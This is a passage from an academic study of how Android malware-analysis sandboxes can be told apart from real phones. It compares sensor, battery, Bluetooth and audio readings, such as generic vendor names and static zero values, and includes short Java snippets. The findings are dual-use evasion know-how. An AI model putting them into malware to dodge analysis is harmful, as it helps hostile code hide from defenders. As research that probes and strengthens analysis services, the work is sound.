Another similar dynamic heuristic discovered during our testing was the vendor name associated with each analysis service’s implemented magnetic field sensor. The four physical devices tested had vendor names of *Yamaha Corporation* (Samsung Galaxy S5, Samsung Galaxy Note 4), *Asahi Kasei Microdevices* (Samsung Galaxy S4), and *AKM* (LG Nexus 5). All analysis services provided a vendor name of *The Android Open Source Project*, which likely is the vendor name given to all sensors within the analysis services. Moreover, the name appears to be an artifact left over by the analysis services building upon an Android SDK-provided Android Virtual Device (AVD) as a starting foundation for their runtime environments—similar to sensor names using the string *Goldfish* as described in our discussion of the SensorList application. This was verified by running the Magnetic Field application against a downloaded Android SDK AVD. Based on this result, detection of emulated runtime environments is likely possible by looking for a sensor vendor name matching the aforementioned string value.

Event timestamps associated with each analysis service also gave indication of emulated runtime environments, similar in nature to results obtained from the Accelerometer application. The time elapsed (defined as the difference between the first sensor event and the last) we calculated from the physical devices at rest and executing the Magnetic Field application was significantly lower than the calculated time elapsed for each of the analysis services. This result suggests a higher threshold value on time
elapsed for a given number of sensor events could be used as a means of detecting emulated runtime environments.

Values given by the analysis services for sensor maximum range (2000 µT), sensor power consumption (6.7 mA), and event accuracy (3.0), did not differ enough from values recorded by the four physical devices during our testing. Additional physical devices would need to be tested before coming to any confident conclusion about these results. Sensor resolution for the analysis services (1.0), however, appeared to be significantly higher than values given by the physical devices tested, thereby suggesting this attribute to be moderately useful for detection of an emulated runtime environment.

Interestingly, the SandDroid analysis service gave sensor attribute data but did not provide any actual sensor updates based on magnetic field value changes. Additionally, Android Sandbox was thought to implement a magnetic field sensor based on our findings after executing the SensorList application (see Section B of this chapter); however, no device or sensor data was logged to our EC2 server. It is possible in both cases the analysis services executed our application, generated sensor data, and for some reason did not send the data across their networks or that the data was interrupted in transit. Network PCAP data and log files provided by each of the analysis services’ reports gave no further insight.

F. ORIENTATION SENSOR APPLICATION

1. Android Orientation Sensor Overview

The orientation sensor (Sensor.TYPE_ORIENTATION) also belongs to the position sensors group within the Android platform, similar to the magnetic field sensor. Unlike the magnetic field sensor (and proximity sensor) however, the orientation sensor is not hardware-based and instead derives its data from the magnetic field sensor and from the accelerometer [47]. The sensor data is provided in the following three dimensions:

**Azimuth** (degrees of rotation around the z-axis): This is the angle between magnetic north and the device’s y-axis. For example, if the device’s y-axis is aligned with magnetic north this value is 0, and if the device’s y-axis is
pointing south this value is 180. Likewise, when the y-axis is pointing east this value is 90 and when it is pointing west this value is 270.

**Pitch** (degrees of rotation around the \(x\)-axis): This value is positive when the positive \(z\)-axis rotates toward the positive \(y\)-axis, and it is negative when the positive \(z\)-axis rotates toward the negative \(y\)-axis. The range of values is 180 degrees to -180 degrees.

**Roll** (degrees of rotation around the \(y\)-axis): This value is positive when the positive \(z\)-axis rotates toward the positive \(x\)-axis, and it is negative when the positive \(z\)-axis rotates toward the negative \(x\)-axis. The range of values is 90 degrees to -90 degrees. [47]

The Android API guides also note that because this sensor is software-based and heavy processing is involved, the accuracy and precision of the sensor is greatly diminished. Although still currently available for developers’ use, the sensor type was deprecated with Android version 2.2 (API level 8). The API guides recommend using the getOrientation and getRotationMatrix methods of the android.hardware.SensorManager class instead. Although, future work should consider this, we chose to continue developing an application that made use of the orientation sensor because it was listed as available by several analysis services from our SensorList application results.

Just like developing for other Android sensors, the android.hardware.SensorManager and android.hardware.Sensor APIs provide access to all sensor objects and their generic attributes such as the sensor’s vendor name and version number. The android.hardware.SensorEvent and android.hardware.SensorEventListener APIs provide access for capturing new sensor events (i.e., changes in sensor values) and the corresponding data for the sensor that caused an event to trigger.

2. **Application Details**

The Orientation application we developed does not require additional Android permissions to be declared in the AndroidManifest.xml file beyond those required for networking purposes. The onCreate life cycle callback method (i.e., the main application entry point) instantiates a Sensor object of TYPE_ORIENTATION, provided
the runtime environment has an orientation sensor available. If the sensor is available, the
generic sensor data is displayed and logged to our EC2 server. The onResume life cycle
callback method registers the SensorEventListener for capturing new sensor value
changes and the onSensorChanged event method keeps track of how many sensor
events happen prior to displaying and logging event data to our EC2 server. The methods
used to capture, set, and send event data associated with an orientation sensor are exactly
the same (or very similar) to those used in the Accelerometer application and depicted in
Figure 12. Sensor event data values correspond to orientation according to the previously
described azimuth, pitch, and roll. MD5 hash values for each APK file submitted and
additional source code are provided in Appendix A.

3. Results

Results for the various sensor and sensor event attributes obtained during runtime
execution of the Orientation application are provided in Table 12. We performed testing
on the physical devices by executing the application while each device was lying flat on a
table with the screen pointed upward. Average values were obtained for orientation
changes of azimuth, pitch, and roll across a number of sensor event updates. The number
of event updates was limited to 20 in our source code. Note that many values within the
table are rounded off for formatting purposes.

67 Sensor resolution is defined in the Android sensors.h source code as the smallest difference between two values reported by a sensor.

68 In our testing, most physical devices gave a realistic vendor name, while analysis services always gave a generic vendor name of The Android Open Source Project. The letter R or the letter G is used to represent realistic or generic names, respectively.

69 Event accuracy for a sensor typically falls into one of five statuses as defined in the SensorManager API: SENSOR_STATUS_ACCURACY_HIGH (3), SENSOR_STATUS_ACCURACY_LOW (1), SENSOR_STATUS_ACCURACY_MEDIUM (2), SENSOR_STATUS_NO_CONTACT (-1), and SENSOR_STATUS_UNRELIABLE (0).

\(^{70}\) Event time is given in nanoseconds elapsed, but the reference or base for which this time has elapsed from varies across Android implementations based on our research (i.e., sometimes the reference is device uptime and sometimes it is POSIX time).
4. Discussion

Similar to our other sensor application results, the most significant dynamic heuristic discovered during testing of the Orientation application was that each attribute (with the exception of time elapsed) showed the same values across all analysis services that provided sensor event updates. Specifically, the values provided for recorded orientation due to sensor event updates were always 0.0 degrees for azimuth, pitch, and roll. Based on this result, detection of emulated runtime environments is likely possible by looking for consistent, static values of 0.0 degrees given from each sensor update event.

Unlike previous sensor application results, vendor name was slightly less straightforward. Two of the physical devices tested had generic vendor names of AOSP (Samsung Galaxy S4, Samsung Galaxy S5), which likely stands for Android Open Source Project. This made sense considering the sensor itself is software-based rather than hardware-based. Interestingly, it appeared the manufacturers for the LG Nexus 5 and the Samsung Galaxy Note 4 changed this value in the Android platform source code to reflect an actual vendor vice the generic AOSP placeholder. QTI and Samsung Electronics were given as values from each device, respectively. All analysis services still provided a vendor name of The Android Open Source Project, which is likely the vendor name given to all sensors as a result of building upon an Android SDK AVD runtime environment (similar to other sensor application results). This was verified by running the Orientation application against a downloaded Android SDK AVD. Based on this result, detection of emulated runtime environments is still possible by looking for sensor vendor names matching the exact string value of The Android Open Source Project; however, it should be noted that other devices or future devices might utilize a generic name matching this value since they already use a similar generic name in AOSP.

Event timestamps associated with each analysis service also gave indication of emulated runtime environments, similar in nature to results obtained from other sensor applications. The time elapsed (defined as the difference between the first sensor event and the last) calculated from the physical devices at rest and executing the Orientation
application was significantly lower than the calculated time elapsed for each of the analysis services. This result suggests a higher threshold value on time elapsed for a given number of sensor events could be used for detecting emulated runtime environments.

Values given by the analysis services for sensor maximum range (360 degrees), sensor power consumption (9.7 mA), and event accuracy (3.0), did not differ enough from values recorded by the four physical devices during our testing. Additional physical devices would need to be tested before coming to any confident conclusion about these results. Sensor resolution for the analysis services (1.0), continued to be significantly higher than values given by the physical devices tested, thereby suggesting this attribute to be moderately useful for detection of an emulated runtime environment.

Android Sandbox was thought to implement an orientation sensor based on our findings after executing the SensorList application (see Section B of this chapter); however, no device or sensor data was logged to our EC2 server. It is possible the analysis service executed our application, generated sensor data, and for some reason did not send the data across its network or that the data was interrupted in transit. Network PCAP data and log files provided by the analysis service’s report gave no further insight.

G. TEMPERATURE SENSOR APPLICATION

1. Android Temperature Sensor Overview

The temperature (Sensor.TYPE_TEMPERATURE) and ambient temperature (Sensor.TYPE_AMBIENT_TEMPERATURE) sensors belong to the environment sensors group within the Android platform, which also includes light, pressure, and humidity sensors [48]. The ambient temperature sensor (introduced with Android API level 14) is a hardware-based sensor, while implementations for the traditional temperature sensor (introduced with Android API level 3) vary from device to device. Because of this variation, the traditional temperature sensor was deprecated with the introduction of the ambient temperature sensor type [48]. Both sensor types provide values measured in degrees centigrade (°C).
Just like developing for other Android sensors, the android.hardware.SensorManager and android.hardware.Sensor APIs provide access to all sensor objects and their generic attributes such as the sensor’s vendor name and version number. The android.hardware.SensorEvent and android.hardware.SensorEventListener APIs provide access for capturing new sensor events (i.e., changes in sensor values) and the corresponding data for the sensor that caused an event to trigger.

2. Application Details

The Temperature application we developed does not require additional Android permissions to be declared in the AndroidManifest.xml file beyond those required for networking purposes. The onCreate life cycle callback method (i.e., the main application entry point) first attempts to instantiate a Sensor object of TYPE_TEMPERATURE. If this fails, it then attempts to instantiate a Sensor object of TYPE_AMBIENT_TEMPERATURE. If either sensor is available, the generic sensor data is displayed and logged to our EC2 server. The onResume life cycle callback method registers the SensorEventListener for capturing new sensor value changes and the onSensorChanged event method keeps track of how many sensor events happen prior to displaying and logging event data to our EC2 server. The methods used to capture, set, and send event data associated with a temperature or an ambient temperature sensor are exactly the same (or very similar) to those used in the other sensor applications and depicted in Figure 12. Sensor event data values correspond to degrees centigrade. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

3. Results

Results for the various sensor and sensor event attributes obtained during runtime execution of the Temperature application are provided in Table 13. Based on results from our SensorList application, only one physical device we tested (the Samsung Galaxy S4) was known to have an ambient temperature sensor. No physical devices had traditional
temperature sensors. Five analysis services were known to have traditional temperature sensors listed as available. Average values were obtained for temperature across the number of sensor event changes, which was limited to 10 in our source code. Note that many values within the table are rounded off for formatting purposes.

---

74 Event time is given in nanoseconds elapsed, but the reference or base for which this time has elapsed from varies across Android implementations based on our research (i.e., sometimes the reference is device uptime and sometimes it is POSIX time).
4. Discussion

Similar to our other sensor application results, the most significant dynamic heuristic discovered during testing of the Temperature application was that each attribute (with the exception of time elapsed) showed the same values across all analysis services that provided sensor event updates. Specifically, the values provided for recorded temperature due to sensor event updates were always 0.0 (°C). Although it is possible a device could be in an environment at exactly that temperature, it is likely we would still observe a slight change even after only 10 events. For instance, values given from the Samsung Galaxy S4 varied from 24.1523, 24.26321, 24.180958, and 24.080544 (°C) across 10 events. Based on this result, we are moderately confident that detection of emulated runtime environments is possible by looking for consistent, static values of 0.0 (°C) given from each sensor update event. To increase the confidence factor while testing this value, future work could take into account more than 10 event updates. Additionally, more physical devices that implement one of the temperature sensors could be tested to better observe variation changes.

Another similar dynamic heuristic discovered during our testing was the vendor name associated with each analysis service’s implemented temperature sensor. The physical device tested had a vendor name of Sensirion (Samsung Galaxy S4). All analysis services still provided a vendor name of The Android Open Source Project, which is likely the vendor name given to all sensors as a result of building upon an Android SDK AVD runtime environment (similar to other sensor application results). This was verified by running the Temperature application against a downloaded Android SDK AVD. Based on this result, detection of emulated runtime environments is still possible by looking for sensor vendor names matching the exact string value of The Android Open Source Project.

Unlike results obtained from other sensor applications, event timestamps associated with each analysis service did not give an indication of emulated runtime environment. The time elapsed (defined as the difference between the first sensor event and the last) we calculated from the Samsung Galaxy S4 at rest and executing the
Temperature application was only slightly higher than the calculated time elapsed for each of the analysis services. Additional physical devices, which implement a temperature sensor, would need to be tested before any conclusions could be drawn on this heuristic.

Additional physical devices would be required for testing to determine if values given by the analysis services for sensor maximum range (80.0°C) and event accuracy (3.0) were significant. Similarly, sensor resolution for the analysis services (1.0°C) did not seem unreasonable to us given that a traditional temperature sensor might not necessarily be hardware-based. Sensor power consumption (0.0 mA), however, appeared to be an unimplemented attribute value, thereby suggesting this attribute to be moderately useful for detection of an emulated runtime environment. More physical devices would be required for testing to confirm this assertion.

Android Sandbox was thought to implement a temperature sensor based on our findings after executing the SensorList application; however, no device or sensor data was logged to our EC2 server. Additionally, the Mobile-Sandbox analysis service gave sensor attribute data but did not provide any actual sensor updates based on temperature value changes. It is possible the analysis services executed our application, generated sensor data, and for some reason did not send the data across their networks or that the data was interrupted in transit. Network PCAP data and log files provided by the analysis services’ reports gave no further insight.

H. PROXIMITY SENSOR APPLICATION

1. Android Proximity Sensor Overview

The proximity sensor (Sensor.TYPE_PROXIMITY) also belongs to the position sensors group within the Android platform, similar to the orientation, game rotation vector, and magnetic field sensors. This sensor allows a device to determine (in small distances) how far away an object is from the device [47]. A common use case for this sensor is to ignore touch screen interactions with a device when in close proximity to an object (e.g., a phone placed next to a person’s ear). The Android API guides make note that many manufacturer implementations of this hardware-based sensor only return
binary values to represent near or far vice absolute distances. This can be confirmed by comparing sensor event values with the sensor maximum value given by `getMaximumRange` method in the Sensor class [47]. Proximity sensor values are provided in centimeters (cm). Although different technologies exist for proximity sensing, optical implementations (e.g., infrared light) are typical for smart devices because of their non-intrusive and low-cost benefits [49].

Just like developing for other Android sensors, the `android.hardware.SensorManager` and `android.hardware.Sensor` APIs provide access to all sensor objects and their generic attributes such as the sensor’s vendor name and version number. The `android.hardware.SensorEvent` and `android.hardware.SensorEventListener` APIs provide access for capturing new sensor events (i.e., changes in sensor values) and the corresponding data for the sensor that caused an event to trigger.

2. Application Details

The Proximity application we developed does not require additional Android permissions to be declared in the `AndroidManifest.xml` file beyond those required for networking purposes. The `onCreate` life cycle callback method (i.e., the main application entry point) instantiates a Sensor object of `TYPE_PROXIMITY`, provided the runtime environment has a proximity sensor available. If the sensor is available, the generic sensor data is displayed and logged to our EC2 server. The `onResume` life cycle callback method registers the `SensorEventListener` for capturing new sensor value changes and the `onSensorChanged` event method keeps track of how many sensor events happen prior to displaying and logging event data to our EC2 server. The methods used to capture, set, and send event data associated with an orientation sensor are exactly the same (or very similar) to those used in the Accelerometer application and depicted in Figure 12. Sensor event data values correspond to proximity distances in centimeters (either absolute, or representative of near or far). MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.
3. **Results**

Results for the various sensor and sensor event attributes obtained during runtime execution of the Proximity application are provided in Table 14. We performed testing on the physical devices by executing the application while each device was lying flat on a table with the screen pointed upward. We then slowly passed our hand in front of the device’s proximity sensor. Longest and shortest values were obtained for proximity changes across a number of sensor event updates. The number of event updates was limited to 10 in our source code.

75 Sensor resolution is defined in the Android sensors.h source code as the smallest difference between two values reported by a sensor.

76 In our testing, most physical devices gave a realistic vendor name, while analysis services always gave a generic vendor name of The Android Open Source Project. The letter R or the letter G is used to represent realistic or generic names, respectively.

77 Event accuracy for a sensor typically falls into one of five statuses as defined in the SensorManager API: SENSOR_STATUS_ACCURACY_HIGH (3), SENSOR_STATUS_ACCURACY_LOW (1), SENSOR_STATUS_ACCURACY_MEDIUM (2), SENSOR_STATUS_NO_CONTACT (-1), and SENSOR_STATUS_UNRELIABLE (0).
*Android Sandbox continued its trend of making HTTP requests to our EC2 server, but without any POST variable data for logging.*
4. Discussion

Similar to our other sensor application results, the most significant dynamic heuristic discovered during testing of the Proximity application was that each attribute showed the same values across all analysis services that provided sensor event updates. Specifically, the values provided for proximity sensor distance due to sensor event updates were always 1.0 (cm), which matched the maximum value given by the `getMaximumRange` method in the Sensor class. Although it is realistic a value of 1.0 (cm) could be obtained from a physical device (either by one measuring absolute distances or by one using near and far representations), the observation that the proximity sensor did not ever change back to 0.0 (cm) suggests a static implementation. To give additional confidence to this heuristic, future work should allow for additional event changes (i.e., more than 10); however, based on this initial result, we are moderately confident that detection of emulated runtime environments is possible by looking for consistent, static values of 1.0 (cm) given from each sensor update event.

Another dynamic heuristic discovered during our testing was the vendor name associated with each analysis service’s implemented temperature sensor. The physical devices tested had vendor names of Maxim (Samsung Galaxy S4), AMS, Inc. (Samsung Galaxy S5, Samsung Galaxy Note 4), and Avago (LG Nexus 5). All analysis services still provided a vendor name of The Android Open Source Project, which is likely the vendor name given to all sensors as a result of building upon an Android SDK AVD runtime environment (similar to other sensor application results). This was verified by running the Proximity application against a downloaded Android SDK AVD. Based on this result, detection of emulated runtime environments is still possible by looking for sensor vendor names matching the exact string value of The Android Open Source Project.

Additional physical devices would be required for testing to determine if values given by the analysis services for sensor maximum range (1.0 cm) were significant. Similarly, sensor resolution for the analysis services (1.0 cm) did not seem unreasonable to us. Sensor power consumption (20.0 mA), however, was significantly higher than values provided by the four physical devices, suggesting this attribute to be moderately
useful for detection of an emulated runtime environment. More physical devices would be required for testing to confirm this assertion.

Android Sandbox was thought to implement a proximity sensor based on our findings after executing the SensorList application; however, no device or sensor data was logged to our EC2 server. It is possible the analysis service executed our application, generated sensor data, and for some reason did not send the data across its network or that the data was interrupted in transit. Network PCAP data and log files provided by the analysis service’s report gave no further insight.

We chose not to evaluate event timestamp data for purposes of this application because the variable nature of passing our hand over the proximity sensor on the four physical devices was not a well-controlled process.

I. BATTERY APPLICATION

1. Android BatteryManager Overview

Android applications can utilize a variety of system resources (e.g., GPS) and often perform some type of background updates (e.g., syncing data over a network with an virtual server in the cloud). However, using these system resources and performing background updates can have a significant impact on battery life for a device. In order to provide developers with options for reducing impact on battery life, Android provides the BatteryManager API, which includes key attributes describing battery characteristics and current battery state [28].

In order to access battery status data, two programming techniques can be used [50]. The first is done by registering a Broadcast Receiver and looking for significant changes in a device’s battery level or specific changes in a device’s charging state. Android provides two intent filters for Broadcast Receivers to capture system broadcasts regarding battery level changes, namely android.intent.action.ACTION_BATTERY_LOW78 and android.intent.action.ACTION_BATTERY_OKAY.79

---

78 Information regarding ACTION_BATTERY_LOW is detailed at: http://developer.android.com/reference/android/content/Intent.html#ACTION_BATTERY_LOW

79
Two additional intent filters are provided for Broadcast Receivers to capture system broadcasts regarding changes to a device’s charging state, namely android.intent.action.ACTION_POWER_CONNECTED and android.intent.action.ACTION_POWER_DISCONNECTED. By having a Broadcast Receiver declared in the AndroidManifest.xml file with one or more of the previously mentioned intent filters, developers can then query battery attributes stored in the Intent object passed to the Broadcast Receiver’s onReceive method when one of the intent filters is triggered.

The second programming technique used for accessing battery status data is to directly query the current battery status through use of the BatteryManager and a sticky broadcast, android.intent.action.ACTION_BATTERY_CHANGED. Because this is a sticky broadcast, you do not receive updates via a Broadcast Receiver declared in your manifest file. Instead, it works on demand in that you query the sticky broadcast at runtime whenever you need to get battery status information.

2. Application Details

The Battery application we developed does not require additional Android permissions to be declared in the AndroidManifest.xml file beyond those required for networking purposes. Because it seemed unlikely that the various analysis services would execute or simulate major changes in battery levels or changes to charging status, we opted to directly query battery status information utilizing the sticky broadcast technique described above. This is performed in the onResume life cycle callback method shown in Figure 16. After verifying that the sticky broadcast regarding battery status information was properly instantiated, we conduct five separate queries of the

---

79 Information regarding ACTION_BATTERY_OKAY is detailed at: http://developer.android.com/reference/android/content/Intent.html#ACTION_BATTERY_OKAY

80 Information regarding ACTION_POWER_CONNECTED is detailed at: http://developer.android.com/reference/android/content/Intent.html#ACTION_POWER_CONNECTED

81 Information regarding ACTION_POWER_DISCONNECTED is detailed at: http://developer.android.com/reference/android/content/Intent.html#ACTION_POWER_DISCONNECTED

82 Information regarding ACTION_BATTERY_CHANGED is detailed at: http://developer.android.com/reference/android/content/Intent.html#ACTION_BATTERY_CHANGED
battery with a pause of 10 seconds between each query. With each query, battery status information is displayed on screen and sent to our EC2 server for logging.

```java
/* Request battery updates at startup */
@Override
protected void onResume() {
    super.onResume();

    // Intent.ACTION_BATTERY_CHANGED is a sticky broadcast containing the charging state,
    // level, and other information about the battery.
    mBattery = this.getApplicationContext().registerReceiver(null,
        new IntentFilter(Intent.ACTION_BATTERY_CHANGED));

    if (mBattery == null) {
        setErrorMsg("No Battery Detected");
        showErrMsg();
        sendErrMsg();
    } else {
        for (int i = 0; i < 5; i++) {
            setBatteryData();
            showBatteryData();
            sendBatteryData();

            // Sleep for 5 seconds before continuing next iteration
            try {
                Thread.sleep(10000);
            } catch (InterruptedException e) {
                Log.d(DEBUG_TAG,"Unable to sleep");
            }
        }
    }
}
```

Figure 16. Code snippet for `onResume` in the Battery app.

The `setBatteryData` method is responsible for obtaining values for all relevant battery attributes. Each attribute is described in the source code comments found in Figure 17. Several additional attributes are made available in the `BatteryManager` API such as battery capacity and battery current in microamperes; however, these were only recently added in Android API level 21 and therefore were not useful in our testing of the various analysis services [28]. Future work should consider these dynamic attributes because they likely change quite frequently during runtime.
MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

3. Results

Results for the various battery attributes obtained during runtime execution of the Battery application are provided in Table 15. We performed testing on the physical devices by executing the application while each device was lying flat on a table with the screen pointed upward, unplugged, and charged to a 100 percent battery level.
Table 15. Battery application results

---

86 Battery temperature is given in tenths of a degree Centigrade (i.e., 285 = 28.5 °C)
4. Discussion

The most significant dynamic heuristic discovered during testing of the Battery application was that each attribute showed the same values across all analysis services. Specifically, the value given for battery temperature and battery voltage was 0 in each of the services, while the physical devices provided realistic values for these two attributes. Based on this result, we are confident that detection of emulated runtime environments is possible by looking for consistent, static values of 0 (tenths of °C) given for battery temperature and 0 (mV) given for battery voltage.

Another dynamic heuristic that could be further investigated in future work is the battery level. Each analysis service indicated its battery status was in a charging state. If this value remained the same over a longer period of time than what we initially tested (approximately 50 seconds), it would be highly plausible that the battery level would increase beyond the given value of 50. If the value did not increase, it would likely be due to a static implementation of the attribute and therefore indicate an emulated runtime environment.

Android Sandbox continued its recent trend of sending no POST variable data to our EC2 server (this started with the Accelerometer application and was evident in all other sensor applications as well). It is possible the analysis service executed our application, generated sensor data, and for some reason did not send the data across its network or that the data was interrupted in transit. Network PCAP data and log files provided by the analysis service’s report gave no further insight. The PCAP file contained no HTTP network traffic to evaluate. The Android logcat dump file provided by Android Sandbox gave no indication that our Battery application APK was ever installed on the service’s runtime environment (previous applications such as the SensorList app had very specific logcat entries for the APK installation). Interestingly, Apache log files on our EC2 server indicated Android Sandbox did generate network traffic to the specified URL (http://54.86.68.241/battery/androidsandbox.php) from our submitted APK. This was also confirmed by the androidsandbox.php script being executed and creating a results_androidsandbox_
battery.txt log file. This log file would normally contain the POST variables and values; however, this log file was empty.

J. BLUETOOTH APPLICATION

1. Android Bluetooth Overview

The Android API Guides provide a detailed section regarding Bluetooth support within the Android application framework. Multiple APIs are provided by the android.bluetooth API package, including the BluetoothAdapter and BluetoothDevice APIs. The BluetoothAdapter API represents the local Bluetooth adapter (Bluetooth radio) and is the entry-point for all Bluetooth interaction within an Android application. “Using this, you can discover other Bluetooth devices, query a list of bonded (paired) devices, instantiate a BluetoothDevice using a known MAC address, and create a BluetoothServerSocket to listen for communications from other devices [51].” The BluetoothDevice API represents a remote Bluetooth device and can be used to request a connection with a remote device through a BluetoothSocket or query information about the device such as its name, address, class, and bonding state [51].

2. Applications Details

The Bluetooth application we developed focuses on gathering basic information about the local Bluetooth adapter on a physical device, as well as basic information on any bonded (paired) devices. To accomplish this, two Android permissions must be added to the manifest file in addition to those required for the application’s network connectivity, namely android.permission.BLUETOOTH and android.permission.BLUETOOTH_ADMIN. We also declare a new Broadcast Receiver within

---

87 Guidance regarding Android support for Bluetooth capabilities can be found at: http://developer.android.com/guide/topics/connectivity/bluetooth.html.

88 Additional details regarding the BluetoothAdapter API can be found at: http://developer.android.com/reference/android/bluetooth/BluetoothAdapter.html.

89 Additional details regarding the BluetoothDevice API can be found at: http://developer.android.com/reference/android/bluetooth/BluetoothDevice.html.
our application’s manifest, which we use to capture system broadcasts of any Bluetooth state changes (i.e., an intent filter for this receiver is set up on the action `android.bluetooth.adapter.action.STATE_CHANGED`). This effectively creates two different entry points for our application once installed.

Within the `onCreate` method of our main Activity, a `BluetoothAdapter` is instantiated using the `getDefaultAdapter` method of its corresponding API. After verifying that the adapter object is not null (i.e., that the system executing the application does indeed support Bluetooth hardware capabilities), we capture initial information from various attributes of the `BluetoothAdapter`. These are displayed on the device’s screen as well as logged to our EC2 server. Afterwards, we test whether the device’s Bluetooth adapter is enabled (turned on) by inspecting its current state value. If the adapter is off, we call its enable method and are forced to restart the current Activity. These programming details are shown in Figure 18.
Figure 18. Code snippet for `onCreate` in the Bluetooth app.

The restart of the main Activity is required because we are attempting to programatically turn on Bluetooth hardware capability without requesting user interaction, which goes against the Android developer’s best practices [51]. Typically, when an application requests Bluetooth capabilities to be turned on, or to start `discovery` mode, the user should be prompted with some type of enabling dialog, similar to what is shown in Figure 19.
The action of enabling the Bluetooth adapter on the device should generate a system broadcast indicating the Bluetooth state is changing, which is received by our BluetoothBroadcastReceiver. For each state change, the receiver checks whether the adapter is enabled, and if so captures the newly changed adapter information, logs it to the Android system, and sends it to our EC2 server. If the adapter is not enabled yet, the receiver logs a simple message indicating the current state and sends this to our EC2 server. A typical state change while a Bluetooth adapter is being enabled would go from \texttt{STATE\_OFF} (integer value of 10), to \texttt{STATE\_TURNING\_ON} (integer value of 11), to finally \texttt{STATE\_ON} (integer value of 12). The receiver’s \texttt{onReceive} method performing these actions is shown in Figure 20.
Figure 20. Code snippet for `onReceive` in the Bluetooth app.

The Bluetooth adapter information we capture and log includes the hardware address, the adapter name (which usually defaults to the device’s manufacturer and model if a user has not changed this through Android preferences or settings), its current scan mode (e.g., whether its discoverable by other remote devices or able to be connected to by other remote devices), and its current state. We also capture how many Bluetooth devices are currently bonded (paired) to the phone and gather basic details about those devices if any are present. These details are shown in Figure 21. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.
Figure 21. Code snippet for `setBluetoothData` in the Bluetooth app.

3. Results

Results for the various Bluetooth attributes obtained during runtime execution of the Bluetooth application are provided in Table 16. We performed testing on the physical devices by initially pairing them with a Plantronics M165 Wireless Bluetooth Headset and then turning the Bluetooth adapter off on each device.

[^90]: Organizational Unique Identifiers correspond to the first 24 bits of a 48-bit hardware or physical address on a network-capable adapter. The IEEE assigns OUIs to specific vendors, and therefore these can be useful when trying to determine whether an environment is executing on a physical device or in an emulated environment. The Wireshark foundation provides an online tool for looking up known OUI addresses at: https://www.wireshark.org/tools/oui-lookup.html.

[^91]: Bluetooth adapter scan modes correspond to the following constant integers defined in the BluetoothAdapter API: SCAN_MODE_NONE (20), SCAN_MODE_CONNECTABLE (21), and SCAN_MODE_CONNECTABLE_DISCOVERABLE (23).

[^92]: Bluetooth adapter states correspond to the following constant integers defined in the BluetoothAdapter API: STATE_DISCONNECTED (0), STATE_CONNECTING (1), STATE_CONNECTED (2), STATE_DISCONNECTING (3), STATE_OFF (10), STATE_TURNING_ON (11), STATE_ON (12), and STATE_TURNING_OFF (13). Note that states 0 through 3 were not added until Android API level 11.

* Android Sandbox continued its trend of making HTTP requests to our EC2 server, but without any POST variable data for logging.*
4. Discussion

A large number of smart devices come with Bluetooth readily available as a hardware capability nowadays, as evidenced by the enormous product listing on the Bluetooth® website. Based on this assertion then, the absence of a Bluetooth adapter on a smart device (specifically on a phone or tablet), which is capable of installing an Android application, would likely indicate the presence of an emulated runtime environment. Each service that responded with Bluetooth data to our EC2 server indicated it was unable to instantiate a `BluetoothAdapter` object by calling its `getDefaultAdapter` method, thereby indicating no adapter was present.

Based on this initial result, the additional attributes of adapter address, name, scan mode, state, and number of paired devices are inconsequential for our testing purposes. They do, however, provide additional data points of interest to explore should any malware analysis service begin implementing (or simulating) a Bluetooth adapter in the future.

Although we did not perform Bluetooth device discovery or connection testing with available paired devices, these too could serve as additional validation checks for execution of an application on a physical device. Obviously the results for this would heavily depend upon the proximity of other Bluetooth capable devices; however, it would be interesting to test what changes are registered by a device’s magnetic field sensor while its Bluetooth adapter is transmitting during device discovery. We leave this to be explored in future work.

K. AUDIO APPLICATION

1. Android AudioManager Overview

Devices running the Android platform have multiple software audio streams available that allow applications to perform actions ranging from playing music, to providing audio cues for incoming calls, to generating sounds which simulate keyboard

---

93 Various phones and other smart devices with Bluetooth capabilities are listed at: http://www.bluetooth.com/Pages/Product-Directory.aspx.
presses that, along with haptic feedback, can provide users a better experience when typing a message or dialing a phone number. Android APIs to manage audio playback are provided primarily by the \texttt{android.media} package, and include capabilities such as controlling stream volume, focus, and what output hardware audio is played through. Specifically, the \texttt{AudioManager}\textsuperscript{94} provides access to volume and ringer mode control, which we utilize for our testing purposes of this application.

2. Application Details

The Audio application we developed focuses on gathering basic information about audio volume changes and volume maximums on a physical device. To accomplish this, no additional Android permissions are required beyond those needed for the application’s network connectivity. We also declare a new Broadcast Receiver within our application’s manifest, which we use to capture system broadcasts of any volume state changes (i.e., an intent filter for this receiver is set up on the action \texttt{android.media.VOLUME_CHANGED_ACTION}). This effectively creates \textit{two} different entry points for our application once installed.

Interestingly, the Android API documentation provides no intent filter purposed for Broadcast Receivers to capture rudimentary volume changes. Indeed, details about the intent filter we used for receiving system broadcasts regarding volume changes (increases or decreases) are not actually listed within the online Android API documentation; nor does the online Android APIs provide documentation regarding three constant integers that correspond to attributes of the volume change broadcast, namely \texttt{android.media.EXTRA_VOLUME_STREAM_TYPE}, \texttt{android.media.EXTRA_VOLUME_STREAM_VALUE}, and \texttt{android.media.EXTRA_PREV_VOLUME_STREAM_VALUE}. We came across a discussion on \textit{Stack Overflow} that gave some insight into this undocumented intent filter \cite{stack_overflow}, and then verified it existed in the \texttt{AudioManager.java} source code made available online by The Android Open Source Project \cite{audionos}. It should be noted, however, that this functionality might disappear.

\textsuperscript{94} Details regarding the Android \texttt{AudioManager} API are provided at: \url{http://developer.android.com/reference/android/media/AudioManager.html}.
in subsequent versions of the Android platform. It is also possible various manufacturers have chosen not to implement this functionality since it only exists in the Android source code and not in the API documentation.

Within the `onCreate` method of our main Activity, an `AudioManager` is instantiated using the `getSystemService` method of the Activity’s corresponding API. After verifying that the `AudioManager` object is not `null` (i.e., that the system executing the application does indeed support audio capabilities), we capture initial information from various audio streams, which include current volume level and maximum volume level. These are displayed on the device’s screen as well as logged to our EC2 server. Afterwards, we programmatically increase and decrease the volume of each audio stream in separate methods by making use of the `AudioManager adjustStreamVolume` method. The programming details for `onCreate` are shown in Figure 22. The details of getting the initial volume levels and maximum volume levels are provided in Figure 23.

```java
@Override
protected void onCreate(Bundle savedInstanceState) {  
    super.onCreate(savedInstanceState);  
    setContentView(R.layout.activity_audio_main);

    txtResults = (TextView) this.findViewById(R.id.txtResults);  
    setData();  
    showDeviceData();  
    sendDeviceData();  
